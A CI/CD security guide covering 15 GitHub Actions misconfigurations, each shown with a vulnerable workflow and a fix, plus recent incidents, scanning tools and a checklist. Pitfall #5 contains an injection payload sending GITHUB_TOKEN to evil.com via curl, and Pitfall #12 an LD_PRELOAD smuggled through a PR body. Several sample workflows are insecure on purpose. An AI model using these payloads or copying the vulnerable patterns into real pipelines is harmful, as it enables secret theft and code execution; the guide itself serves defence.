Your GitHub Actions workflows are probably vulnerable. This is not a hypothesis: in 2025, attacks on CI/CD pipelines exploded. Shai Hulud v2, GhostAction, tj-actions/changed-files, ArtiPACKED, the attack against Trivy by hackerbot-claw, all these campaigns exploit the same configuration mistakes that the majority of teams still make (myself included).
OWASP has formalized a Top 10 of CI/CD risks, the GitHub Security Lab has been documenting Pwn Requests since 2021, and Palo Alto Unit 42 demonstrated with ArtiPACKED that you could take control of Google, Microsoft and Red Hat repositories through a race condition on artifacts. Yet these mistakes persist.
This article reviews 15 concrete pitfalls, ranked from the most basic to the most subtle, each with an exploitable example and an actionable fix.
Which real attacks hit in 2025-2026?
Before listing the pitfalls, let us look at what happened in real life. These attacks are not theoretical, they hit projects you probably use.
| Attack | Date | Impact | Main vector |
|---|---|---|---|
| ArtiPACKED (Unit 42) | Aug. 2024 | Google, Microsoft, Red Hat, AWS, OWASP | Artifact race condition, GITHUB_TOKEN in .git/config |
| tj-actions/changed-files | March 2025 | 23,000+ repositories, secrets exfiltrated in logs | Stolen PAT, rewritten tags |
| Gluestack/gluestack-ui | June 2025 | 17 compromised npm packages | Command injection via discussions |
| Nx "s1ngularity" | Aug. 2025 | 2,000+ repositories, SSH keys and wallets stolen | Malicious npm packages via GHA |
| GhostAction | Sept. 2025 | 327 accounts, 817 repos, 3,325 secrets stolen | pull_request_target + broad permissions |
| Shai Hulud v2 | Nov. 2025 | 20,000+ repos, 1,700 infected npm versions | Self-replicating worm via pull_request_target |
| hackerbot-claw / Trivy | Feb. 2026 | Trivy repository emptied, releases deleted | AI bot, pull_request_target + GITHUB_TOKEN write |
The observation is clear: the same vectors come back every time. Fix these 15 points and you block almost all the attacks known so far.
Pitfall #1, Secrets hardcoded in the workflows
The most basic pitfall, but still current: OWASP ranks it as risk CICD-SEC-6. A token, an API key or a password written directly in the workflow YAML is visible to anyone with access to the repository. And even after deletion, it remains in the Git history.
# ❌ The token is visible to everyone- run: docker login -u myuser -p dckr_pat_SuP3rS3cr3t
# ✅ Use GitHub Secrets- uses: docker/login-action@c94ce9fb468520275223c153574b00df6fe4bcc9 # v3 with: username: ${{ secrets.DOCKERHUB_USERNAME }} password: ${{ secrets.DOCKERHUB_TOKEN }}Fix: store everything in GitHub Secrets (repository or organization). Add a scanner like TruffleHog or Gitleaks as a pre-commit hook to block leaks before they even reach the remote repository.
Pitfall #2, Secrets exposed too broadly
Even with GitHub Secrets, defining environment variables at the job level
makes the secrets accessible to every step, including the ones that do not
need them. A malicious dependency installed by npm install then has access to
your AWS credentials.
# ❌ The AWS keys are accessible to EVERY stepjobs: build-and-deploy: runs-on: ubuntu-latest env: AWS_ACCESS_KEY_ID: ${{ secrets.AWS_KEY }} AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET }} steps: - run: npm install # This step has access to the AWS keys! - run: npm test # This one too! - run: ./deploy.sh # Only this one needs them
# ✅ Secrets scoped to the step that needs themjobs: build-and-deploy: runs-on: ubuntu-latest steps: - run: npm install - run: npm test - run: ./deploy.sh env: AWS_ACCESS_KEY_ID: ${{ secrets.AWS_KEY }} AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET }}Fix: scope secrets at the step level, not the job level. Use GitHub
Environments (staging, production) to isolate sensitive secrets and
require an approval before deployment. GitHub details this practice in
Security hardening for GitHub Actions.
Pitfall #3, Long-lived static credentials
A token that never expires is a gift to an attacker. Once stolen, it grants permanent access. The Shai Hulud v2 worm relied massively on the theft of persistent tokens; if those tokens had had a one-hour TTL, the propagation would have been severely limited.
# ✅ OIDC: ephemeral tokens, no stored secretjobs: deploy: runs-on: ubuntu-latest permissions: id-token: write contents: read steps: - uses: aws-actions/configure-aws-credentials@e6de054238d6b7531b4efff3b6587d9aade6a06c # v6.2.3 with: role-to-assume: arn:aws:iam::123456789012:role/github-deploy aws-region: eu-west-1Fix: use OIDC (OpenID Connect) for cloud deployments (AWS, Azure, GCP), as detailed by GitHub in Security hardening with OpenID Connect. Tokens are generated on the fly, expire within minutes, and no secret is stored in GitHub. For the other cases, integrate HashiCorp Vault with dynamic secrets.
Pitfall #4, Overly broad GITHUB_TOKEN permissions
This is the most exploited pitfall. It is a critical accelerator of the
Shai Hulud v2 and GhostAction attacks. A GITHUB_TOKEN with write-all (or
with no declared permissions: on an old repository) allows a compromised
workflow to modify the code, create releases, publish packages, and persist in
the repository.
# ❌ The workflow can do EVERYTHINGpermissions: write-all
# ✅ Principle of least privilegepermissions: {} # Zero by default
jobs: test: permissions: contents: read runs-on: ubuntu-latest steps: ...
publish: permissions: contents: read packages: write # Only for this job runs-on: ubuntu-latest steps: ...Fix: declare permissions: {} at the workflow level, then grant minimal
permissions per job. Also check the repository settings under
Settings > Actions > General > Workflow permissions: select
"Read repository contents and packages permissions". The
excessive-permissions
audit of zizmor automatically detects non-compliant workflows, as does the
default_permissions_on_risky_events rule of
poutine which targets workflows
triggered by sensitive events without a permissions block.
For a detailed guide, see GitHub Actions permissions (guide in progress).
Pitfall #5, Command injection through ${{ }}
The ${{ }} interpolation happens before the shell executes, without any
escaping. If an attacker controls the title of an issue, the name of a branch
or the body of a PR, they can inject arbitrary code.
# ❌ Injection possible via the PR title- run: echo "PR: ${{ github.event.pull_request.title }}"
# An attacker creates a PR with the title:# "; curl https://evil.com/steal?t=$GITHUB_TOKEN ## The shell executes:# echo "PR: "; curl https://evil.com/steal?t=ghs_xxx... #"# ✅ Go through an environment variable- run: echo "PR: $PR_TITLE" env: PR_TITLE: ${{ github.event.pull_request.title }}Fix: never interpolate ${{ github.event.* }} directly inside a
run: block. Always go through env:. This rule applies to all
user-controlled data: titles, labels, PR/issue bodies, workflow_dispatch
inputs, branch names. GitHub documents this vector in
Understanding the risk of script injections,
and the template-injection
audit of zizmor detects it automatically. The injection rule of
poutine covers the same vector
on GitHub Actions, GitLab CI and Azure DevOps.
Pitfall #6, Third-party actions not pinned by SHA
According to Wiz, only 3.9% of repositories pin 100% of their actions by
SHA. The vast majority use mutable tags (@v4, @latest, @main) that can be
rewritten by an attacker who compromised the maintainer's account, or even by
an impostor commit
exploiting GitHub's fork system (a commit from a fork can be referenced through
the parent repository's slug).
This is exactly what happened with tj-actions/changed-files: the existing
tags were moved to malicious code. Every workflow using @v1 instantly
executed the attacker's code.
# ❌ Mutable tag: you do not control what runs- uses: actions/checkout@v4
# ✅ Immutable SHA + version comment- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2Fix: pin all actions by their full SHA (40 characters). Use
pin-github-action or
StepSecurity to automate the conversion.
Enable Dependabot for github-actions to receive security updates.
For the full guide: Épingler les actions par SHA.
Pitfall #7, Vulnerable or unaudited third-party actions
Beyond pinning, third-party actions execute code with your permissions. A popular action is not necessarily safe. The 23,000+ repositories hit by tj-actions/changed-files trusted a widely used action.
Fix:
- Enable Dependabot to receive vulnerability alerts
- Audit the source code of critical actions before adoption
- Fork sensitive actions into your organization
- Use GitHub's allowlist to restrict the authorized actions
- Check the "Verified creator" badge on the Marketplace (necessary but not sufficient)
OWASP CICD-SEC-3
(Dependency Chain Abuse) specifically covers this attack vector.
poutine detects actions with
known CVEs (known_vulnerability_in_build_component) and those coming from
unverified creators (github_action_from_unverified_creator_used).
Pitfall #8, Artifact poisoning between workflows
A workflow triggered by a PR creates an artifact. A second, more privileged
workflow (triggered by workflow_run) downloads and executes that artifact. If
the first workflow comes from a fork, the artifact can contain malicious code
that will run with the permissions of the second workflow.
# ❌ The artifact of a PR can overwrite critical files- uses: actions/download-artifact@v4 with: name: build-output
# ✅ Download into an isolated directory + verify integrity- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4 with: name: build-${{ github.sha }} path: ${{ runner.temp }}/artifacts/Fix: never consume artifacts from PRs in privileged workflows. Use artifact names based on the SHA (not predictable). Verify integrity with a SHA-256 hash. For releases, always rebuild from the canonical source code. See OWASP CICD-SEC-9 (Improper Artifact Integrity Validation) for the reference framework.
Pitfall #9, pull_request_target: the Pwn Request
This is the most devastating pitfall. pull_request_target executes the
workflow in the context of the target repository (with secrets and a write
token) but can checkout code from an unverified fork. It is the main entry
point of the Shai Hulud v2, GhostAction and hackerbot-claw attacks.
The exploitation scenario (known as a "Pwn Request"):
- The attacker forks the target repository
- He modifies a build script or adds malicious code
- He opens a PR, triggering
pull_request_target - The workflow runs with the privileges of the target repository and checks out the fork's code, resulting in arbitrary code execution with access to the secrets
# ❌ Classic Pwn Requeston: pull_request_target: types: [opened, synchronize]
jobs: test: runs-on: ubuntu-latest steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 with: ref: ${{ github.event.pull_request.head.sha }} # Fork code! - run: npm install && npm test # Execution with access to the secretsFix: favor pull_request (no access to secrets for forks). If
pull_request_target is indispensable, never checkout the PR code. Use
if conditions to restrict the execution.
The untrusted_checkout_exec rule of
poutine detects precisely this
scheme: a fork checkout followed by code execution.
Dedicated guide: securing pull_request_target (guide in progress).
Pitfall #10, Runners without network control or isolation
A compromised runner with unlimited network access can exfiltrate your secrets over HTTP, DNS or even ICMP, a scenario covered by OWASP CICD-SEC-7 (Insecure System Configuration). Persistent self-hosted runners are particularly dangerous: a malicious job can install a backdoor that survives subsequent executions.
Fix:
- GitHub-hosted: add Harden Runner as the first step of every job to monitor and then block unauthorized outbound connections
- Self-hosted: use ephemeral runners (destroyed after each job), isolate the pools per environment, never mix dev and prod
- In all cases: no
sudo, no exposed Docker socket, logs centralized to a SIEM
The pr_runs_on_self_hosted rule of
poutine detects workflows
triggered by pull_request that run on self-hosted runners.
steps: # Mandatory first step - uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0 with: egress-policy: block allowed-endpoints: > github.com:443 registry.npmjs.org:443Pitfall #11, GitHub Actions cache poisoning
GitHub Actions shares a cache across all the branches of a repository. An attacker with access to a branch (even through a PR) can poison the cache with modified dependencies. During the release workflow, the cache is restored with the malicious content, compromising the published artifacts.
This scenario, documented by Adnan Khan under the name Cacheract, is all the more dangerous because the cache is invisible in the logs. The zizmor tool automatically detects this vulnerability in your workflows.
Fix: never restore a cache in release or publishing workflows. Disable
cache restoration in critical steps with the lookup-only option when the
action supports it. Separate the build and release workloads into distinct
workflows.
Pitfall #12, GITHUB_ENV and GITHUB_PATH: silent injection
Writing to GITHUB_ENV or GITHUB_PATH from a workflow triggered by
pull_request_target or workflow_run is an arbitrary code execution vector.
An attacker who controls a value written to GITHUB_ENV can set LD_PRELOAD
to load a malicious library into all the following steps. One who controls
GITHUB_PATH can shadow any system binary (ssh, git, curl).
Synacktiv documented this technique in GitHub Actions exploitation: environment manipulation, and the GitHub Security Lab found it in Litestar, Google and Apache.
# ❌ Uncontrolled write to GITHUB_ENV- run: echo "CONFIG=${{ github.event.pull_request.body }}" >> "$GITHUB_ENV"# An attacker puts in the PR body:# dummy# LD_PRELOAD=/tmp/evil.so
# ✅ Use GITHUB_OUTPUT instead of GITHUB_ENV- run: echo "config_value=$SAFE_VALUE" >> "$GITHUB_OUTPUT" id: configFix: never write user-controlled data to GITHUB_ENV or
GITHUB_PATH. Prefer GITHUB_OUTPUT to pass data between steps. The
github-env audit of zizmor
detects these cases automatically.
Pitfall #13, secrets: inherit in reusable workflows
Reusable workflows called with secrets: inherit receive all the secrets
of the calling workflow, without distinction. It is a direct violation of the
principle of least privilege: a reusable workflow shared between teams obtains
secrets it does not need.
# ❌ The reusable workflow receives ALL the secretsjobs: deploy: uses: ./.github/workflows/deploy.yml secrets: inherit
# ✅ Explicit passing of the needed secretsjobs: deploy: uses: ./.github/workflows/deploy.yml secrets: DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}Fix: always pass secrets explicitly through the secrets: block. Only
transmit the ones the reusable workflow actually needs. The
secrets-inherit audit of
zizmor automatically detects this bad practice.
Pitfall #14, actions/checkout tokens persisted on disk
By default, actions/checkout persists the GITHUB_TOKEN in the
.git/config of the cloned directory. This behavior is what made the
ArtiPACKED
attack by Palo Alto Unit 42 possible: Google, Microsoft and Red Hat projects
uploaded their artifacts including the .git directory, publicly exposing
their GITHUB_TOKEN or their ACTIONS_RUNTIME_TOKEN.
# ❌ The token is persisted in .git/config- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
# ✅ Disable persistence- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 with: persist-credentials: falseFix: add persist-credentials: false to all your actions/checkout
steps except when you need authenticated git operations. It is one of the first
checks performed by zizmor
(artipacked audit).
Pitfall #15, Forgeable bot conditions
Many workflows grant special privileges to bots like Dependabot through a
condition such as if: github.actor == 'dependabot[bot]'. Problem:
github.actor refers to the last actor who acted on the trigger's context,
not necessarily the one who triggered it. An attacker can create a PR whose
last commit comes from dependabot[bot] (via a targeted rebase), bypass the
check and execute privileged code.
# ❌ Easily bypassedon: pull_request_targetjobs: automerge: if: github.actor == 'dependabot[bot]' runs-on: ubuntu-latest steps: - run: gh pr merge --auto --merge "$PR_URL"
# ✅ Check the PR author, not the last actoron: pull_request_targetjobs: automerge: if: github.event.pull_request.user.login == 'dependabot[bot]' && github.repository == github.event.pull_request.head.repo.full_name runs-on: ubuntu-latest steps: - run: gh pr merge --auto --merge "$PR_URL"Synacktiv detailed this exploitation in GitHub Actions exploitations: Dependabot.
Fix: use github.event.pull_request.user.login instead of
github.actor. Add a github.repository == github.event.pull_request.head.repo.full_name check to block forks. The
confused_deputy_auto_merge rule of
poutine automatically detects
auto-merge workflows based on github.actor.
Why is the tooling still immature?
One of the major problems of GitHub Actions security is the lack of mature, integrated tooling. Compare with GitLab CI: GitLab natively integrates pipeline security features (SAST, secret detection, dependency scanning) and has dedicated tools like Plumber, a scanner specialized in analyzing GitLab CI pipelines to detect security misconfigurations.
On the GitHub Actions side, nothing equivalent is natively integrated. You have to assemble a chain of third-party tools yourself, each covering one aspect of the problem:
| Tool | Focus | What it detects |
|---|---|---|
| actionlint | Syntax + basic security | YAML errors, ${{ }} injection, built-in shellcheck |
| zizmor | GHA-dedicated security (3,700+ stars) | 28+ audits: injection, permissions, cache poisoning, impostor commits, ArtiPACKED, bot conditions... |
| poutine | Multi-platform security | GitHub Actions + GitLab CI + Azure DevOps + Tekton. 13 OPA/Rego rules, org-wide analysis |
| Scorecard | Global repository posture | 0-10 score based on security practices |
| Harden Runner | Runtime | Real-time network exfiltration detection |
| Gitleaks | Secrets | Detection of keys and tokens in the code and the history |
| TruffleHog | Secrets | Active verification that found secrets are still valid |
| pinact | SHA pinning | Automatic conversion and update of tags to SHAs |
The most promising tool is zizmor, a static analyzer dedicated specifically to GitHub Actions. Written in Rust, it detects 28+ known vulnerabilities with a minimal false positive rate. It even handles impostor commits (a fork commit referenced through the parent repository) and cache poisoning, two vectors that other tools largely ignore.
poutine complements zizmor with a multi-platform approach. Where zizmor
specializes in GitHub Actions with 28+ very precise audits, poutine also
covers GitLab CI, Azure DevOps and Tekton with 13 rules written in
OPA/Rego. Its analyze_org command scans all the repositories of an
organization in one pass, ideal for an initial audit. See the
full poutine guide.
The problem remains that none of these tools is natively integrated into GitHub. On the GitLab side, pipeline security is a first-class citizen. On the GitHub side, you have to assemble and maintain everything yourself. It is a significant gap that partly explains why so many repositories remain vulnerable.
Which hardening checklist should you apply?
Use this list before merging any workflow:
| Category | Check | Priority |
|---|---|---|
| Permissions | permissions: {} at the workflow level | Critical |
| Permissions | write only at the job level | Critical |
| Permissions | No write-all and no omitted permissions: | Critical |
| Actions | All pinned by 40-character SHA | Critical |
| Actions | Dependabot enabled for github-actions | High |
| Actions | No archived or unmaintained actions | High |
| Secrets | No hardcoded secret in the YAML | Critical |
| Secrets | Secrets scoped to the step, not the job | High |
| Secrets | Separate environments (staging/prod) | High |
| Secrets | No secrets: inherit in reusable workflows | High |
| Checkout | persist-credentials: false everywhere | High |
| Injection | No ${{ github.event.* }} in run: | Critical |
| Injection | No uncontrolled write to GITHUB_ENV / GITHUB_PATH | Critical |
| Triggers | No pull_request_target + PR checkout | Critical |
| Triggers | Bot conditions via pull_request.user.login (not actor) | High |
| Cache | No cache restoration in release workflows | High |
| Runners | Harden Runner as the first step | High |
| Runners | Ephemeral self-hosted only | High |
| Audit | zizmor + poutine + Scorecard in the pipeline | Medium |
What did I change on my homelab?
After the Trivy incident and this research, here is what I applied to my own repositories:
- All actions pinned by SHA, no more
@v4in my workflows, withpinactfor maintenance - Systematic
permissions: {}, then minimal permissions per job persist-credentials: falseeverywhere, except when I need authenticated git operations- Harden Runner as the first step, in
auditmode first, thenblockafter analyzing the legitimate endpoints - Dependabot enabled for
github-actionswith a weekly review - Gitleaks in the pipeline, blocks the merge if a secret is detected
- Removal of every
pull_request_target, replaced bypull_request+workflow_runworkflows when necessary - zizmor + poutine in CI, automatic analysis of every workflow change, poutine for the multi-platform audits
What should you remember?
Supply chain attacks on GitHub Actions are no longer hypothetical scenarios. In 2025-2026, they hit tens of thousands of repositories, stole thousands of secrets, and compromised entire delivery chains.
The good news: the 15 identified pitfalls cover almost all the exploited vectors. Fix them and you block the majority of known attacks. It is not a matter of sophisticated tools, it is a matter of discipline: minimal permissions, SHA everywhere, inputs never interpolated, isolated secrets, monitored runners.
To go further, the three complementary tools are covered in detail:
- Scanner avec zizmor (GitHub Actions specialist),
- Scanner avec poutine (multi-platform)
- Scanner avec plumber (GitLab CI).
The full GitHub Actions security guide is available in the Sécurité GitHub Actions section.
Sources
- OWASP, Top 10 CI/CD Security Risks
- GitHub, Security hardening for GitHub Actions
- GitHub Security Lab, Keeping your GitHub Actions and workflows secure
- Palo Alto Unit 42, ArtiPACKED: Hacking Giants Through a Race Condition in GitHub Actions Artifacts (August 2024)
- Synacktiv, GitHub Actions exploitation: environment manipulation
- Synacktiv, GitHub Actions exploitation: Dependabot
- Adnan Khan, Cacheract: the monster in your build cache (December 2024)
- zizmor, GitHub Actions security audits
- StepSecurity, hackerbot-claw GitHub Actions exploitation (March 2026)
- Arctiq, Top 10 GitHub Actions Security Pitfalls (January 2026)
- poutine, Multi-platform CI/CD security scanner
- plumber, GitLab CI security scanner
- My field report, Trivy vidé après une attaque supply chain